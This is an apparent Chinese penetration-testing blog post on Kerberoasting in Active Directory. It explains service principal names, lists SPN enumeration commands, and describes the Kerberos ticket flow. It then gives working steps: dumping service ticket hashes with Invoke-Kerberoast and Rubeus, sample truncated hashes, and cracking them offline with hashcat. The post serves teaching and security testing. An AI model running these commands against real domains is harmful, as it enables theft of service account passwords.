SPN(ServicePrincipal Names)服务主体名称,是服务实例(比如:HTTP、SMB、MySQL等服务)的唯一标识符。
SPN是服务器上所运行服务的唯一标识,每个使用Kerberos的服务都需要一个SPN
Kerberos认证过程使用SPN将服务实例与服务登录账户相关联,如果想使用 Kerberos 协议来认证服务,那么必须正确配置SPN。如果在整个林或域中的计算机上安装多个服务实例,则每个实例都必须具有自己的 SPN
SPN分为两种,一种注册在AD上机器帐户(Computers)下,另一种注册在域用户帐户(Users)下
当一个服务的权限为Local System
或Network Service
,则SPN注册在机器帐户(Computers)下
当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下
由于每台服务器都需要注册用于Kerberos身份验证服务的SPN
所以这是一个更加隐蔽的方法来收集有关内网域环境的信息
对域控制器发起LDAP查询,这是正常kerberos票据行为的一部分,因此查询SPN的操作很难被检测
Win7和Windows Server2008自带的工具
查看当前域内的所有SPN:
setspn.exe -q */*
查看test域内的所有SPN:
setspn.exe -T test -q */*
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yd2XpX1l-1590547189992)(https://gitee.com/godzeo/blogimg/raw/master/img/20200518143251.png)]
以CN开头的每一行代表一个帐户,其下的信息是与该帐户相关联的SPN
有三个:
域控制器:
CN=DC,OU=Domain Controllers,DC=sun,DC=com
域用户帐户:
CN=krbtgt,CN=Users,DC=sun,DC=com
机器帐户:
CN=WIN7,CN=Computers,DC=sun,DC=com
其他命令:
查看当前域内所有的SPN:setspn -Q */*
查看指定域xie.com注册的SPN:setspn -T sun.com -Q */* 如果指定域不存在,则默认切换到查找本域的SPN
查找本域内重复的SPN:setspn -X
删除指定SPN:setspn -D MySQL/win7.xie.com:1433/MSSQL hack
查找指定用户/主机名注册的SPN:setspn -L username/hostname
该工具包提供了一些探测指定SPN的脚本,例如Exchange,Microsoft SQLServer等
#扫描域中所有的SPN信息
Import-Module .\Discover-PSInterestingServices.ps1;Discover-PSInterestingServices
Kerberoast 工具集中的一个 powershell 脚本,用来查询域内用户注册的 SPN
Import-Module .\GetUserSPNs.ps1
PowerView是 PowerSpolit 中 Recon目录下的一个powershell脚本,返回的信息比较详细。
Import-Module .\PowerView.ps1Get-NetUser -SPN
基于Kerberos认证,具体认证过程可以参考我之前的文章
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-q5UTmw4K-1590547189994)(https://gitee.com/godzeo/blogimg/raw/master/img/20200527100825.png)]
1、用户将AS-REQ数据包发送给KDC(Key Distribution Centre,密钥分发中心,此处为域控),进行身份认证。
2、KDC验证用户的凭据,如果凭据有效,则返回TGT(Ticket-Granting Ticket,票据授予票据)。
3、如果用户想通过身份认证,访问某个服务(如IIS),那么他需要发起(Ticket Granting Service,票据授予服务)请求,请求中包含TGT以及所请求服务的SPN(Service Principal Name,服务主体名称)。
4、如果TGT有效并且没有过期,TGS会创建用于目标服务的一个服务票据。服务票据使用服务账户的凭据进行加密。
5、用户收到包含加密服务票据的TGS响应数据包。
6、最后,服务票据会转发给目标服务,然后使用服务账户的凭据进行解密。
整个过程比较简单,我们需要注意的是,服务票据会使用服务账户的哈希进行加密,这样一来,Windows域中任何经过身份验证的用户都可以从TGS处请求服务票据,然后离线暴力破解。
域内的任何一台主机,都能够通过查询SPN,向域内的所有服务请求TGS,拿到TGS后对其进行暴力破解
对于破解出的明文口令,只有域用户帐户(Users)的口令存在价值,不必考虑机器帐户的口令(无法用于远程连接)
因此,高效率的利用思路如下:
使用System.IdentityModel.Tokens.KerberosRequestorSecurityToken
请求TGS,在返回结果中提取出TGS,输出的TGS可选择John the Ripper或Hashcat进行破解
实例演示:
在域内一台主机上以普通用户权限执行:
import-module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl
只提取出hash的参数如下:
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation
使用hashcat破解的参数如下:
将导出的hashcat格式的哈希保存为hash.txt文件,放到hashcat的目录下
hashcat64.exe -m 13100 hash.txt pass.txt
https://github.com/GhostPack/Rubeus
使用:
Rubeus.exe kerberoast
C:\Rubeus>Rubeus.exe kerberoast
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: Kerberoasting
[*] SamAccountName : zeo
[*] DistinguishedName : CN=harmj0y,CN=Users,DC=zeolab,DC=local
[*] ServicePrincipalName : asdf/asdfasdf
[*] Hash : $krb5tgs$23$*$zeolab.local$asdf/asdfasdf*$AE5F019D4CDED6CD74830CC......
[*] SamAccountName : sqlservice
[*] DistinguishedName : CN=SQL,CN=Users,DC=zeolab,DC=local
[*] ServicePrincipalName : MSSQLSvc/SQL.zeolab.local
[*] Hash : $krb5tgs$23$*$testlab.local$MSSQLSvc/SQL.zeolab.local*$E2B3869290......
将哈希保存为hash.txt文件,放到hashcat的目录下
hashcat64.exe -m 13100 hash.txt pass.txt